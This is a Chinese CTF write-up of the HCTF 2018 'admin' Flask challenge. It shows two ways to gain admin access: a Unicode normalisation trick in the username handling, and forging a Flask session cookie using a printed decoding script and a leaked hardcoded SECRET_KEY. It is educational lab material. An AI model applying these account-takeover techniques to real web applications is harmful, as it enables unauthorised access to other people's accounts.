• BUUCTF-[HCTF 2018]admin(Unicode欺骗&伪造session)



    记一道flask下session伪造的题。

    方法一:Unicode欺骗

    拿到题目f12提示you are not admin,显然拿到flag需要admin权限。注册一个账号在change页面存在git源码泄露,页面的源代码给了路径。打开routes.py,文件进行代码审计。最后面的strlower函数有点突出

    def strlower(username):
        username = nodeprep.prepare(username)
        return username
    

    在Python里面存在lower将大写字符转成小写。这里自己写入一个函数实现。nodeprep.prepare方法会将字符ᴬ转成A,再调用一次转成a。在register(),login(),change()函数中都适用到了strlower()。那么我们可以构造一个攻击链。
    1、注册ᴬdmin,经过处理Admin被插入到数据库中。
    2、登录ᴬdmin。在登录的时候ᴬdmin被处理成Admin。
    3、修改密码之后再使用admin登录。在修改密码的时候Admin被处理成了admin。
    4、用admin登录拿到flag。

    方法二:伪造session

    flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
    编写如下代码解密session:

    #!/usr/bin/env python3
    import sys
    import zlib
    from base64 import b64decode
    from flask.sessions import session_json_serializer
    from itsdangerous import base64_decode
    
    def decryption(payload):
        payload, sig = payload.rsplit(b'.', 1)
        payload, timestamp = payload.rsplit(b'.', 1)
    
        decompress = False
        if payload.startswith(b'.'):
            payload = payload[1:]
            decompress = True
    
        try:
            payload = base64_decode(payload)
        except Exception as e:
            raise Exception('Could not base64 decode the payload because of '
                             'an exception')
    
        if decompress:
            try:
                payload = zlib.decompress(payload)
            except Exception as e:
                raise Exception('Could not zlib decompress the payload before '
                                 'decoding the payload')
    
        return session_json_serializer.loads(payload)
    
    if __name__ == '__main__':
        print(decryption(sys.argv[1].encode()))
    

    我们注册一个账号,解密session

    然后很容易想到把'name':'123',改成'name':'admin'。
    使用github上的脚本

    https://github.com/noraj/flask-session-cookie-manager
    

    在config.py存在SECRET_KEY,这个是关键。

    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    

    伪造session。

    修改session之后保存,用admin账户登录拿到flag

    参考文章

    https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/#解法一:session伪造
    https://www.leavesongs.com/PENETRATION/client-session-security.html

  • 相关阅读:
    基于Typescript和Jest刷题环境搭建与使用
    一些惊艳到我的运维实施技巧和思路
    Zabbix 5.0:监控MySQL出现的问题
    Linux防火墙IPtables配置策略思路
    聊聊二维码
    如何创建SQLite数据库
    PLC工程师学会编程,是一种什么样的体验?
    让你的上位机程序独占鳌头
    使用delve调试golang
    指纹登录是怎么跑起来的
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13031814.html
Copyright © 2020-2023  润新知